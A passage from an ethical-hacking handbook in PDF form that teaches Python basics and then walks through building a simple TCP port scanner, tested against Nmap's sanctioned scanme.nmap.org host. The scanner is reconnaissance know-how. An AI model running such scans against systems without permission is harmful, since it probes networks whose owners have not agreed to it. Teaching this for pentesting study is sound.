┌──(kali㉿kali)-[~]
└─$ mkdir learn-python && cd learn-python
┌──(kali㉿kali)-[~/learn-python]
└─$ touch script.py ## Create a .py script
┌──(kali㉿kali)-[~/learn-python]
└─$ code . # open current directory in VSCode
┌──(kali㉿kali)-[~/learn-python]
└─$ python3 script.py ## Execute the script using python version 3 i.e
python3
206
5/26/25, 7:47 PM
NCA's Hacking Handbook
Basics of Python
207
5/26/25, 7:47 PM
NCA's Hacking Handbook
Syntax and Indentation
Python is a great programming language for beginners because it’s easy to
understand, but there’s one important thing you need to learn before you dive into
it: indentation. In Python, how you organize your code with spaces matters — a lot.
So let’s break it down in a simple way, and also take a look at how Python compares
to C when it comes to indentation.
What is Indentation in Python?
In Python, indentation refers to the spaces you put at the beginning of a line of
code to indicate that it’s part of a specific block. Unlike many programming
languages that use curly braces {} to mark blocks of code (like C), Python relies
on indentation to define blocks. So, indentation is not just for making your code
look pretty; it’s a key part of Python’s syntax.
For example, let's say you want to check if a number is positive or negative:
x = 5
if x > 0:
print("x is positive")
Notice the indentation before the print("x is positive") line. The indentation
tells Python that this print() statement belongs to the if block, meaning it will
only run if x > 0 .
Why is Indentation Important?
If you forget to indent your code properly, Python will raise an error. Unlike C, which
uses curly braces {} to mark code blocks, Python uses indentation to define the
structure of your program.
Here’s an example of incorrect indentation:
208
5/26/25, 7:47 PM
x = 5
if x > 0:
print("x is positive")
NCA's Hacking Handbook
# This will raise an IndentationError
Python will give you an IndentationError because it doesn’t know whether the
print() statement belongs inside the if block or not.
Python vs C: How They Handle Code Blocks
Let’s compare how Python and C handle code blocks to understand why
indentation matters so much in Python.
C Code (Using Curly Braces)
In C, you use curly braces {} to define the start and end of code blocks. For
example:
#include <stdio.h>
int main() {
int x = 5;
if (x > 0) {
printf("x is positive\n");
} else {
printf("x is not positive\n");
}
return 0;
}
In C, you can use any amount of indentation (though we usually use 4 spaces), and
it doesn’t affect how the code runs. The curly braces {} are what matter for
defining code blocks. The indentation is only for readability.
Python Code (Using Indentation)
In Python, curly braces are not used. Instead, indentation is used to define blocks
of code. Here’s the same example written in Python:
209
5/26/25, 7:47 PM
NCA's Hacking Handbook
x = 5
if x > 0:
print("x is positive")
else:
print("x is not positive")
Notice how the code is indented after the if and else statements. Python uses
this indentation to understand which code belongs to which block.
Why Python Does This: Python’s way of using indentation instead of curly braces
might seem a little strange at first, but it actually makes code more readable. With
proper indentation, you don’t have to worry about missing curly braces or getting
them in the wrong place.
Indentation Rules in Python
Here are some rules to follow when writing Python code:
1. Consistency is Key: If you start with spaces for indentation, stick to spaces. If
you start with tabs, use tabs. Mixing spaces and tabs is a no-no in Python.
2. Indent by 4 Spaces: The Python community uses 4 spaces per indentation
level, and this is the standard you should follow.
3. Indentation Defines Structure: In Python, indentation actually defines the
structure of your program. Without proper indentation, your code will either
raise errors or not run the way you expect.
Example: Indentation in Action
Let’s look at an example with a function in Python. A function is a block of code that
performs a specific task. Here's how you would define a function in Python:
210
5/26/25, 7:47 PM
NCA's Hacking Handbook
def greet(name):
print(f"Hello, {name}!")
print("Welcome to Nepal.")
greet("User")
The two print() statements are indented under the greet() function. This tells
Python that these lines of code are part of the function. Without the indentation,
Python wouldn’t know which code belongs inside the function.
If you removed the indentation, you’d get an error:
def greet(name):
print(f"Hello, {name}!")
# This will raise an IndentationError
Indentation Tips
• Use a Text Editor or IDE: Many code editors like VSCode, PyCharm, or even
Sublime Text can help you by automatically indenting your code as you type.
This helps avoid indentation errors and keeps your code neat.
• Don’t Mix Tabs and Spaces: This is a common pitfall. Make sure you use either
spaces or tabs, but not both. Most Python developers use 4 spaces per
indentation level, so stick to that.
The Bottom Line
In Python, indentation is everything. It tells the interpreter how to structure your
code. If you’re coming from a language like C, it can feel a bit odd at first, but once
you get used to it, you’ll appreciate how much clearer and cleaner Python code is.
So, remember:
• Indentation = structure
• Python uses indentation instead of curly braces to mark code blocks
211
5/26/25, 7:47 PM
NCA's Hacking Handbook
• Consistent indentation is key to avoiding errors
212
5/26/25, 7:47 PM
NCA's Hacking Handbook
Variables and Data Types
In programming, a variable is like a storage box where we can store information
(data). You can think of it as a label that holds something inside it.
For example:
a = 1
Here, a is the variable, and it stores the number 1 . The equals sign ( = ) is an
assignment operator that assigns the value on the right (in this case 1 ) to the
variable on the left ( a ). This is how we give a name to a value.
• a: The variable name.
• =: The assignment operator (it doesn’t mean "equal" like in math, it just means
"assign").
• 1: The value or data we are assigning to a .
What is print() ?
The print() function in Python is used to display the value of a variable, or any
message, to the screen (also called "standard output"). This helps us see what's
inside our variables or show results of our calculations.
For example:
a = 1
print(a)
This will display 1 because that’s the value stored in a .
Variables can store any data type we will learn below.
213
5/26/25, 7:47 PM
NCA's Hacking Handbook
Data Types in Python
Data types are the types of values that can be stored in a variable. Each piece of
information we store in a variable has a certain type, and understanding data types
is very important because different types of data behave differently.
Integers (int)
An integer is a whole number, without a decimal point.
Example:
a = 10
print(a)
# Output: 10
Here, a is an integer, and print(a) will display 10 .
Floating Point Numbers (float)
A float is a number that has a decimal point.
Example:
b = 3.14
print(b)
# Output: 3.14
In this case, b is a float, and print(b) will show 3.14 .
Strings (str)
A string is a sequence of characters (letters, numbers, or symbols) enclosed in
quotation marks.
214
5/26/25, 7:47 PM
NCA's Hacking Handbook
Example:
name = "Hello NCA"
print(name) # Output: Hello NCA
Here, "Hello NCA" is a string, and we use print(name) to display it.
Strings can also include numbers, but they are treated as text, not numerical
values:
age = "25"
print(age)
# Output: 25
Booleans (bool)
A boolean is a type that can have one of two values: True or False .
Example:
is_sunny = True
print(is_sunny)
# Output: True
Booleans are used for logic and comparisons. For example, you can use them to
check if something is true or false.
Lists (list)
A list is an ordered collection of items, which can be of any type. Lists are defined
by square brackets [] .
Example:
my_list = [1, 2, 3, "Hello NCA", 4.5]
print(my_list) # Output: [1, 2, 3, 'Hello NCA', 4.5]
215
5/26/25, 7:47 PM
NCA's Hacking Handbook
In this case, my_list contains a mixture of different data types: integers, a string,
and a float.
Dictionaries (dict)
A dictionary is a collection of key-value pairs. Each key is associated with a value.
Example:
person = {"name": "John", "age": 25, "is_student": True}
print(person) # Output: {'name': 'John', 'age': 25, 'is_student':
True}
Here, person is a dictionary where "name" , "age" , and "is_student" are keys,
and the values are "John" , 25 , and True , respectively.
Tuples (tuple)
A tuple is similar to a list, but once it’s created, it cannot be changed (it is
immutable). Tuples are defined by parentheses () .
Example:
coordinates = (10, 20)
print(coordinates) # Output: (10, 20)
Sets (set)
A set is an unordered collection of unique items. Sets are defined by curly braces
{} .
Example:
216
5/26/25, 7:47 PM
NCA's Hacking Handbook
unique_numbers = {1, 2, 3, 4}
print(unique_numbers) # Output: {1, 2, 3, 4}
The main difference between a set and a list is that a set does not allow duplicate
values.
Accessing Data in Different Data Types
In Python, each data type has its own way of storing and accessing data. Below, we
will go through how to retrieve values from strings, lists, tuples, dictionaries, sets,
and nested structures.
Strings (str)
Strings in Python are sequences of characters, and we can access individual
characters using indexing (starting from 0). We can also use slicing to get a
portion of the string.
217
5/26/25, 7:47 PM
NCA's Hacking Handbook
text = "Hello NCA"
# Accessing characters using indexing
print(text[0])
print(text[6])
# Output: H
# Output: N
# Accessing a range using slicing
print(text[0:5])
print(text[:])
# Output: Hello
# Output: Hello NCA
## Note: Above "[:]" means from the beginning to the end of
## the string, effectively returning the full string as is.
print(text[-3:])
# Output: NCA
## Note: Above "[-3:]" means (length-3) to the end of
## the string, extracting the last three characters.
print(text[:-3])
# Output: Hello
## Note: Above "[:-3]" means from the beginning up to (length-3),
## effectively removing the last three characters from the string.
Negative Indexing and Slicing works for all data types and not just strings, so try it for
all data types.
Explanation:
•
•
•
text[0]
retrieves the first character ( H ), while text[6] retrieves N .
text[0:5]
gets a substring from index 0 to 4 ( Hello ).
text[-3:]
uses negative indexing to get the last three characters ( NCA ).
Lists
Lists are ordered collections that allow indexing, slicing, and iteration to retrieve
elements.
218
5/26/25, 7:47 PM
NCA's Hacking Handbook
my_list = ["Hello", "NCA", 100, 3.14, True]
# Accessing individual elements
print(my_list[1])
print(my_list[-1])
# Output: NCA
# Output: True
# Accessing a range using slicing
print(my_list[1:4])
# Output: ['NCA', 100, 3.14]
Explanation:
•
•
my_list[1]
( True ).
retrieves "NCA" , and my_list[-1] retrieves the last element
my_list[1:4]
gets elements from index 1 to 3 ( ['NCA', 100, 3.14] ).
Tuples
Tuples work like lists but are immutable, meaning they cannot be changed after
creation.
my_tuple = ("Hello", "NCA", 42, 9.99)
# Accessing elements using indexing
print(my_tuple[2])
# Output: 42
# Using slicing
print(my_tuple[:2])
# Output: ('Hello', 'NCA')
Explanation:
•
•
my_tuple[2]
retrieves the third element ( 42 ).
my_tuple[:2]
retrieves the first two elements ( Hello, NCA ).
Dictionary
219
5/26/25, 7:47 PM
NCA's Hacking Handbook
Dictionaries store key-value pairs, and we retrieve values using keys instead of
indexes.
my_dict = {"name": "John", "age": 25, "city": "Kathmandu"}
# Accessing values using keys
print(my_dict["name"])
# Output: John
print(my_dict.get("age")) # Output: 25
Explanation:
•
•
my_dict["name"]
retrieves the value associated with "name" ( John ).
is another way to get the value ( 25 ), which avoids errors
if the key doesn't exist.
my_dict.get("age")
Sets
Sets store unordered and unique elements, so we cannot use indexing. Instead,
we check if an element exists or iterate through the set.
my_set = {1, 2, 3, 4, 5}
# Checking if an element exists
print(3 in my_set)
# Output: True
# Iterating through a set
for item in my_set:
print(item)
Explanation:
• 3 in my_set checks if 3 exists in the set.
• We use a for loop to iterate over all elements since indexing is not possible.
220
5/26/25, 7:47 PM
NCA's Hacking Handbook
Nested Data Types
We can store complex data by nesting different data types inside each other. This
means we can put lists inside lists, dictionaries inside lists, tuples inside
dictionaries, and so on. This allows us to store structured data in an organized way.
221
5/26/25, 7:47 PM
NCA's Hacking Handbook
# Nested List
nested_list = [[1, 2, 3], ["Hello", "NCA"], [4.5, 6.7]]
# Nested Dictionary
nested_dict = {
"person": {
"name": "John",
"age": 25,
"hobbies": ["Reading", "Gaming"]
},
"address": {
"city": "New York",
"zip": 10001
}
}
# Mixing List and Dictionary
mixed_data = [
{"name": "Alice", "scores": [90, 85, 88]},
{"name": "Bob", "scores": [78, 80, 79]}
]
# Accessing Data
print(nested_list[1][0]) # Output: Hello
print(nested_dict["person"]["hobbies"][1]) # Output: Gaming
print(mixed_data[0]["scores"][2]) # Output: 88
# Using Methods on Nested Data
nested_list[1].append("Python") # Adding a new element to a nested
list
nested_dict["person"]["name"] = nested_dict["person"]["name"].upper()
# Converting name to uppercase
mixed_data[1]["scores"].append(85) # Adding a new score for Bob
# Print modified structures
print(nested_list)
print(nested_dict)
print(mixed_data)
In the above code, we first created a nested list that contains multiple sublists,
where each sublist holds different types of data such as numbers and strings. To
access a specific element, we used double indexing, such as nested_list[1][0] ,
which retrieves "Hello" from the second sublist. We also modified the nested list
222
5/26/25, 7:47 PM
NCA's Hacking Handbook
by appending "Python" to one of its sublists using the .append() method. Next,
we worked with a nested dictionary, which organizes data into key-value pairs.
Inside the dictionary, the "person" key holds another dictionary containing details
like "name" , "age" , and "hobbies" . We accessed the "Gaming" hobby using
nested_dict["person"]["hobbies"][1] , and we also updated "John" to
uppercase using the .upper() method on the name value.
Additionally, we demonstrated a mix of lists and dictionaries by creating a list
where each element is a dictionary representing a person and their scores. To
retrieve a specific score, we used mixed_data[0]["scores"][2] , which navigates
through the list to the dictionary and then accesses the third score. To further
modify the data, we added a new score ( 85 ) to Bob’s scores using .append() .
This showcases how we can manipulate nested data types using indexing and
built-in methods, making it easier to store and process complex structured data
efficiently.
If you don't understand accessing data in nested structure in the above example
properly read the topic below.
Accessing Data in Nested Structures
We can nest different data types inside each other (lists inside dictionaries,
dictionaries inside lists, etc.), and we use multiple indexing or key-value lookups to
access nested data.
Nested List Example:
nested_list = [[1, 2, 3], ["Hello", "NCA"], [4.5, 6.7]]
# Accessing elements from nested lists
print(nested_list[1][0])
# Output: Hello
Explanation:
•
nested_list[1]
retrieves the second sublist ( ["Hello", "NCA"] ).
223
5/26/25, 7:47 PM
•
NCA's Hacking Handbook
nested_list[1][0]
accesses the first element of that sublist ( Hello ).
Nested Dictionary Example:
nested_dict = {
"person": {
"name": "Alice",
"age": 30,
"hobbies": ["Reading", "Gaming"]
}
}
# Accessing nested dictionary values
print(nested_dict["person"]["name"]) # Output: Alice
print(nested_dict["person"]["hobbies"][1]) # Output: Gaming
Explanation:
•
•
nested_dict["person"]["name"]
retrieves "Alice" .
nested_dict["person"]["hobbies"][1]
gets the second hobby ( "Gaming" ).
Mixing Lists & Dictionaries Example:
data = [
{"name": "Bob", "scores": [85, 90, 92]},
{"name": "Sara", "scores": [88, 76, 95]}
]
# Accessing values from mixed data types
print(data[0]["scores"][2])
# Output: 92
Explanation:
•
•
•
data[0]
gets the first dictionary.
data[0]["scores"]
accesses the "scores" list inside the dictionary.
data[0]["scores"][2]
retrieves the third score ( 92 ).
224
5/26/25, 7:47 PM
NCA's Hacking Handbook
Common Methods for Data Types
Each data type has methods (or functions) that we can use to perform specific
actions on the data.
String Methods
Strings have many built-in methods. Some common ones include:
•
•
•
upper() : Converts all characters to uppercase.
lower() : Converts all characters to lowercase.
replace(old, new) : Replaces a substring with another substring.
Example:
message = "Hello NCA"
print(message.upper())
print(message.lower())
# Output: HELLO NCA
# Output: hello nca
List Methods
Lists also have methods. Some common ones include:
•
•
•
append(item) : Adds an item to the end of the list.
remove(item) : Removes the first occurrence of an item.
pop() : Removes the last item from the list.
Example:
numbers = [1, 2, 3]
numbers.append(4)
print(numbers) # Output: [1, 2, 3, 4]
225
5/26/25, 7:47 PM
NCA's Hacking Handbook
Dictionary Methods
Dictionaries have several useful methods. Some of the common ones are:
•
•
•
get(key) : Retrieves the value associated with a key.
keys() : Returns a list of all keys in the dictionary.
values() : Returns a list of all values in the dictionary.
Example:
person = {"name": "John", "age": 25}
print(person.get("name")) # Output: John
Set Methods
Sets support methods like:
•
•
•
add(item) : Adds an item to the set.
remove(item) : Removes an item from the set.
union(set) : Combines two sets into one.
Example:
numbers = {1, 2, 3}
numbers.add(4)
print(numbers) # Output: {1, 2, 3, 4}
So many Methods
Yes, it can feel overwhelming to remember all the methods for different data types,
but don’t worry! We have cheat sheets available to help us.
226
5/26/25, 7:47 PM
NCA's Hacking Handbook
I'll list some W3Schools cheat sheet links where you can find the methods for
each data type along with explanations of what they do:
1. String Methods
2. List Methods
3. Tuples Methods
4. Set Methods
5. Dictionary Methods
6. Even LLMs (ChatGPT, GrokAI, Gemini, etc) will help you choose the correct
method for your use case.
😄
Conclusion
Understanding variables and data types is key to becoming proficient in Python.
When you define variables, you are choosing a name to hold certain types of data.
There are various types of data in Python, such as integers, strings, floats, and
more, and each type has different methods and behavior. The print() function is
a handy tool for displaying results to the screen.
227
5/26/25, 7:47 PM
NCA's Hacking Handbook
Operators
In Python, operators are special symbols used to perform operations on variables
and values. They are essential for writing any logic or calculations in your
programs.
Let's look at types of operators:
Arithmetic Operators
Arithmetic operators are used for basic mathematical operations.
Operator
Description
Example
Result
+
Addition
5 + 2
7
-
Subtraction
5 - 2
3
*
Multiplication
5 * 2
10
/
Division (float
result)
5 / 2
2.5
//
Floor division
(integer)
5 // 2
2
%
Modulus
(remainder)
5 % 2
1
**
Exponentiation
(power)
2 ** 3
8
Example:
228
5/26/25, 7:47 PM
print(5 + 2)
print(5 - 2)
print(5 * 2)
print(5 / 2)
print(5 // 2)
print(5 % 2)
print(2 ** 3)
NCA's Hacking Handbook
# 7
# 3
# 10
# 2.5
# 2
# 1
# 8
Comparison Operators
Comparison operators are used to compare two values. They return either True or
False .
Operator
Description
Example
Result
==
Equal to
5 == 5
True
!=
Not equal to
5 != 3
True
>
Greater than
5 > 3
True
<
Less than
5 < 3
False
>=
Greater than or
equal to
5 >= 5
True
<=
Less than or equal
to
5 <= 4
False
Example:
print(5 == 5)
print(5 != 3)
print(5 > 3)
print(5 < 3)
print(5 >= 5)
print(5 <= 4)
# True
# True
# True
# False
# True
# False
229
5/26/25, 7:47 PM
NCA's Hacking Handbook
Assignment Operators
Assignment operators are used to assign values to variables. Some of them also
perform operations.
Operator
Description
Example
Equivalent to
=
Assign
x = 5
x = 5
+=
Add and assign
x += 2
x = x + 2
-=
Subtract and assign
x -= 1
x = x - 1
*=
Multiply and assign
x *= 3
x = x * 3
/=
Divide and assign
x /= 2
x = x / 2
//=
Floor divide and
assign
x //= 2
x = x // 2
%=
Modulus and assign
x %= 2
x = x % 2
**=
Power and assign
x **= 2
x = x ** 2
Example:
x = 5
x += 2
print(x)
# 7
x *= 3
print(x)
# 21
x //= 2
print(x)
# 10
Logical Operators
Logical operators are used to combine conditional statements.
230
5/26/25, 7:47 PM
NCA's Hacking Handbook
Operator
Description
Example
Result
and
Returns True if
both are true
True and False
False
or
Returns True if
one is true
True or False
True
not
Reverses the result
not True
False
a = True
b = False
print(a and b)
print(a or b)
print(not a)
# False
# True
# False
Identity Operators
Identity operators are used to compare the memory location of two objects.
Operator
Description
Example
Result
is
True if both refer to
same object
a is b
True/False
is not
True if they do not
refer to same object
a is not b
True/False
Example:
x = [1, 2, 3]
y = x
z = [1, 2, 3]
print(x is y)
# True (same object)
print(x is z)
# False (same content, different object)
print(x is not z) # True
231
5/26/25, 7:47 PM
NCA's Hacking Handbook
Membership Operators
Used to test if a value exists in a sequence like a list, tuple, or string.
Operator
Description
Example
Result
in
True if value is
present
3 in [1, 2, 3]
True
not in
True if value is not
present
4 not in [1, 2,
3]
True
Example:
nums = [1, 2, 3]
print(3 in nums)
print(4 not in nums)
# True
# True
Bitwise Operators
Bitwise operators operate on the binary representation of integers. Each number is
stored as bits (0s and 1s), and these operators allow you to manipulate the bits
directly.
Operator
Description
Example (binary)
&
AND
5 & 3
|
OR
^
XOR
~
NOT (invert bits)
→ 101 &
011
4 | 7
→ 100 |
011
5 ^ 3
011
~5
→ 101 ^
Result
1
7
6
-6
232
5/26/25, 7:47 PM
NCA's Hacking Handbook
<<
Left shift
5 << 1
10
>>
Right shift
5 >> 1
2
Example:
print(5 & 3)
print(5 | 3)
print(5 ^ 3)
print(~5)
print(5 << 1)
print(5 >> 1)
# 1 → 101 & 011 = 001
# 7 → 101 | 011 = 111
# 6 → 101 ^ 011 = 110
# -6 → flips all bits of 5
# 10 → 00000101 becomes 00001010
# 2 → 00000101 becomes 00000010
233
5/26/25, 7:47 PM
NCA's Hacking Handbook
Control Structures
Control structures are used to control the flow of execution in a program. They help
your code make decisions, repeat tasks, and react to different situations.
In Python, the main types of control structures are:
1. Conditional Statements ( if , elif , else )
2. Match-Case (introduced in Python 3.10 )
3. Loops ( for , while )
4. Loop Control Statements ( break , continue , pass )
Conditional Statements
Conditional statements allow your program to decide what to do based on certain
conditions.
Syntax:
if condition:
# code runs if condition is True
elif another_condition:
# runs if the first was False and this is True
else:
# runs if none of the above are True
Example:
234
5/26/25, 7:47 PM
NCA's Hacking Handbook
x = 5
if x > 0:
print("Positive")
elif x == 0:
print("Zero")
else:
print("Negative")
# Output: Positive
You can use if without using elif and else as well. Even just if-else .
Example:
x = 5
if x > 0:
print("Positive")
# Output: Positive
Match-Case
is similar to switch-case in other languages. It's used to match a
value against different patterns.
match-case
Syntax:
match variable:
case value1:
# do something
case value2:
# do something else
case _:
# default case (like "else")
Example:
235
5/26/25, 7:47 PM
NCA's Hacking Handbook
fruit = "apple"
match fruit:
case "apple":
print("Its an apple")
case "banana":
print("Its a banana")
case _: # Here '_' is for default. If nothing matches, this gets
matched.
print("Unknown fruit")
# Output: It’s an apple
Loops
Loops are used to repeat a block of code multiple times.
For Loop
Used to iterate over sequences like lists, strings, or ranges.
Example:
for i in range(3):
print(i)
# Output:
# 0
# 1
# 2
Looping through a list
We also call it iterating through a list.
236
5/26/25, 7:47 PM
NCA's Hacking Handbook
fruits = ["apple", "banana", "cherry"]
# Note: We can iterate over any data types we learned so far and not
just lists.
for i in fruits:
print(i)
# Output:
# apple
# banana
# cherry
While Loop
Repeats as long as a condition is True .
x = 0
while x < 3:
print(x)
x += 1
# Output:
# 0
# 1
# 2
Loop Control Statements
These help manage how loops behave.
break
Exits the loop immediately.
237
5/26/25, 7:47 PM
NCA's Hacking Handbook
for i in range(5):
if i == 3:
break
print(i)
# Output:
# 0
# 1
# 2
continue
Skips the current iteration and moves to the next.
for i in range(5):
if i == 2:
continue
print(i)
# Output:
# 0
# 1
# 3
# 4
pass
Used as a placeholder. Does nothing, just a syntactic placeholder.
for i in range(3):
pass # this loop does nothing
Nested Control Structures
You can use control structures inside each other.
238
5/26/25, 7:47 PM
NCA's Hacking Handbook
for i in range(3):
if i % 2 == 0:
print(f"{i} is even")
else:
print(f"{i} is odd")
# Output:
# 0 is even
# 1 is odd
# 2 is even
We can create nested control structures as much as we like, just like we learned with
Variables and Data Types.
The else clause with loops
Yes, Python allows else to be used with loops!
• In a for or while loop, the else block runs if the loop didn’t break.
for i in range(5):
print(i)
else:
print("Loop finished normally")
# Output:
# 0
# 1
# 2
# 3
# 4
# Loop finished normally
If a break happens, the else part is skipped.
239
5/26/25, 7:47 PM
NCA's Hacking Handbook
for i in range(5):
if i == 3:
break
print(i)
else:
print("Loop finished normally")
# Output:
# 0
# 1
# 2
240
5/26/25, 7:47 PM
NCA's Hacking Handbook
Functions
Functions let you group code together so it can be reused. Think of them as miniprograms inside your program.
A function is a block of code that only runs when you call it. It can take inputs
(called parameters) and return an output (using return ).
Defining a Function
To define a function, we use the def keyword.
Syntax:
def function_name():
# code block
Example:
def greet():
print("Hello NCA!")
greet() # calling the function
# Output: Hello NCA!
Parameters and Arguments
Parameters are the values you define inside the function. Arguments are the actual
values you pass when calling it.
Example:
241
5/26/25, 7:47 PM
NCA's Hacking Handbook
def greet(name): # Parameter we define inside the function.
print("Hello,", name)
greet("NCA") # String Argument we passed.
# Output: Hello, NCA
You can pass multiple parameters:
def add(a, b):
print(a + b)
add(3, 5)
# Output: 8
Again, we can literally pass any data types and not just strings or integers.
Return Statement
Functions can return a value using return .
def add(a, b):
return a + b
result = add(4, 6)
print(result)
# Output: 10
Default Parameters
You can give a default value to parameters.
242
5/26/25, 7:47 PM
NCA's Hacking Handbook
def greet(name="Guest"):
print("Hello,", name)
greet()
greet("Zara")
# Output: Hello, Guest
# Output: Hello, Zara
Keyword Arguments
You can specify arguments by name.
def introduce(name, age):
print(f"{name} is {age} years old.") # We used f-string here.
introduce(age=25, name="John")
# Output: John is 25 years old.
Variable-Length Arguments
Sometimes, you don’t know how many arguments will be passed. Python provides
two special symbols:
•
•
*args
for non-keyword variable arguments (like a list)
**kwargs
for keyword variable arguments (like a dictionary)
*args
def add_all(*numbers):
print(sum(numbers))
add_all(1, 2, 3, 4)
# Output: 10
**kwargs
243
5/26/25, 7:47 PM
NCA's Hacking Handbook
def show_info(**info):
for key, value in info.items():
print(key, ":", value)
show_info(name="Alex", age=30)
# Output:
# name : Alex
# age : 30
Function Scope
Variables inside a function are local to that function.
def my_func():
x = 10 # local variable
print(x)
my_func()
# Output: 10
# print(x)
# Error! x is not defined outside the function
Global Keyword
If you want to use and modify a global variable inside a function:
x = 5
def change():
global x
x = 10
change()
print(x)
# Output: 10
244
5/26/25, 7:47 PM
NCA's Hacking Handbook
Lambda Functions (Anonymous Functions)
Short functions you define in one line using lambda .
Syntax:
lambda arguments: expression
Example:
square = lambda x: x * x
print(square(5))
# Output: 25
Docstrings
Use triple quotes ( """ ) inside a function to write a docstring (documentation
string).
def greet():
"""This function greets the user."""
print("Hello!")
print(greet.__doc__) # To print the docstring
# Output: This function greets the user.
Nested Functions
Functions defined inside other functions.
245
5/26/25, 7:47 PM
NCA's Hacking Handbook
def outer():
def inner():
print("Inside inner function")
inner()
outer()
# Output: Inside inner function
246
5/26/25, 7:47 PM
NCA's Hacking Handbook
[P1] Simple Python Port Scanner
This guide will walk you through building a basic port scanner — a staple tool in
any pentester’s arsenal. You’ll learn how to use Python’s standard modules to
interact with networks, scan ports, and make your script more flexible and powerful
using command-line arguments.
Our Goal
A port scanner checks which ports on a target machine are open and accepting
connections. This helps identify running services (e.g., SSH on port 22, HTTP on
port 80). It’s a foundational concept in recon and enumeration phases of ethical
hacking (more on this later).
Set Up Project Folder
Create a directory for your tool:
mkdir port_scanner && cd port_scanner # make project directory
touch scanner.py # create a python file
code scanner.py # Open with VSCode if you like it. (Recommended)
# VSCode provides code completion, making typing code much smoother.
Import Your First Module
Open up scanner.py . First thing: let’s import a module that gives us networking
power.
import socket
247
5/26/25, 7:47 PM
NCA's Hacking Handbook
Why socket ? [EXPAND ME]
Python’s built-in socket module lets you talk to other machines. It can
open connections, resolve hostnames, and check which ports are open.
Ask the User for a Target
Let’s make the scanner interactive by adding input() function. This function asks
user to input something from keyboard and the user input gets stored as "STRING"
by default to the variable it's assigned (in our case we are storing the user input to
variable target ). Here we want user to either input a domain name (eg:
ncateam.xyz ) or just a plain IP address (eg: 192.168.1.1 ).
import socket
target = input("Enter a host to scan: ")
If someone enters a hostname or domain name instead of an IP address, we can
convert that hostname to an IP address using a method of socket module that we
just imported. The method is socket.gethostbyname(target) .
In the example below, we also used a try-except block to handle errors properly.
It's a good practice to learn how to handle errors early when learning to code, and
we'll be covering this as part of the project.
Learn Try-Except [EXPAND ME]
In Python, try-except is used to handle errors. You put the code that
might cause an error inside the try block. If an error happens, Python
jumps to the except block and runs that code instead of crashing.
248
5/26/25, 7:47 PM
NCA's Hacking Handbook
try:
x = int(input("Enter a number: "))
except ValueError:
print("That's not a valid number!")
In this example, if you enter something that's not a number, the except
block will catch the ValueError and show a message.
This was a top-level overview of try-except . Don’t worry — the basic
concept is simple:
• You write the code that may (or may not) cause an error inside the
block.
(In the example above, it was a ValueError .)
try
• If the code inside the try block fails, Python will execute the code
in the except block.
• We generally use it to handle errors so the program doesn't crash.
Instead, it shows a clean, readable message, which also makes
debugging easier.
To understand this clearly, you may refer here .
import socket
target = input("Enter a host to scan: ")
try:
target_ip = socket.gethostbyname(target)
print(f"\n[+] Scanning target: {target_ip}\n")
except socket.gaierror:
print("[-] Hostname could not be resolved.")
exit()
In this code, inside the try block, we’re trying to convert a hostname (like
google.com ) into an IP address using socket.gethostbyname(target) . If this
works, the program prints the IP address.
But if the hostname is invalid or can’t be resolved, Python will raise an error called
socket.gaierror . Instead of crashing the program, the except block catches that
249
5/26/25, 7:47 PM
NCA's Hacking Handbook
specific error and prints a friendly message: “Hostname could not be resolved.”
Then it exits the program using exit() .
If you're curious about more methods ( socker.gethostbyname() is a method
(some call it function as well) ) available in the socket module, you can
check the official Python socket documentation . It lists all functions and tools you
can use with it.
Let’s Start Scanning Ports
Time to see which ports are open.
The code below checks whether ports on a target machine are open or not by
attempting to connect to each port in the range of 1 to 1024 (we used the standard
range of well-known ports, but you may change it to scan all available port range as
well).
For each port, a new socket is created using socket.socket(socket.AF_INET,
socket.SOCK_STREAM) . This means we're using IPv4 and TCP to attempt the
connection. Next, a timeout of 0.5 seconds is set with s.settimeout(0.5) . This
ensures the connection attempt won't hang for too long if the port isn't responding.
For each port, the code tries to connect to the target using
s.connect_ex((target_ip, port)) . The connect_ex() method returns 0 if the
connection is successful, which indicates the port is open. If the connection
attempt is successful, we can print a message like [+] Port 80 is open . After
checking each port, the socket is closed using s.close() to clean up resources
(always do this).
In short, the code checks a range of ports on the target machine and reports
whether each one is open or closed based on whether the connection attempt
succeeds or fails.
250
5/26/25, 7:47 PM
NCA's Hacking Handbook
import socket
target = input("Enter a host to scan: ")
try:
target_ip = socket.gethostbyname(target)
print(f"\n[+] Scanning target: {target_ip}\n")
except socket.gaierror:
print("[-] Hostname could not be resolved.")
exit()
for port in range(1, 1025): # standard range of well-known ports
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(0.5) # Set timeout to half a second
result = s.connect_ex((target_ip, port))
if result == 0:
print(f"[+] Port {port} is open")
s.close()
We are done! We successfully created a simple port scanner.
Bonus ( argparse )
Typing into the terminal is nice, but command-line flags are cleaner. Let’s use the
argparse module.
Add the following to the top:
import argparse
This will import argparse module for us. Now we can replace the input() with:
parser = argparse.ArgumentParser(description="Simple Python Port
Scanner")
parser.add_argument("host", help="Target host to scan (domain or IP)")
args = parser.parse_args()
target = args.host
251
5/26/25, 7:47 PM
NCA's Hacking Handbook
This code uses the argparse module to handle command-line arguments. First,
argparse.ArgumentParser() creates a parser with a description ("Simple Python
Port Scanner").
Then, add_argument("host") defines a required argument for the target host
(domain name or IP address) to scan.
The args = parser.parse_args() line processes the command-line input, and
target = args.host stores the provided hostname or IP in the variable target .
This allows you to run the script and specify the target directly from the command
line.
Example:
python3 scanner.py domain.com
Final Code
252
5/26/25, 7:47 PM
NCA's Hacking Handbook
Final Written Code
Let's test the port scanner
I am not sure if we covered it in previous parts or not but \n is escape sequence
used to give new line.
Let's quickly test our tool by scanning the domain scanme.nmap.org , which is
provided by Nmap for learning and testing purposes. It was created by Nmap so
learners can use their network scanning tool to safely test port scanning. We’ll use
the same domain and run our custom script to perform the scan.
As you can see, this scan revealed two open ports: 80 (HTTP) and 22 (SSH). This
means that on the server with IP address 45.33.32.156, an HTTP service is running.
Therefore, if we visit the IP address in a browser (e.g., http://45.33.32.156 ), we
should be able to access the web service hosted on that server. Additionally, port
22 is open, which is the default port for SSH. While we can attempt to SSH into the
server, we don’t know the username or password, nor do we have a private key
(such as id_rsa or id_ed25519 ). This means we can’t log in. However, we can
still perform enumeration on the SSH service, but this topic will be covered later.
253
5/26/25, 7:47 PM
NCA's Hacking Handbook
Python is SLOW
As you can see in the screenshot below, it took 5 minutes and 1 second to iterate
over integers from 1 to 1024. This is relatively slow. This is one of the reasons many
modern tools are written in low-level programming languages like C, C++, Golang,
and Rust. These languages are faster and excel in terms of performance and
concurrency.
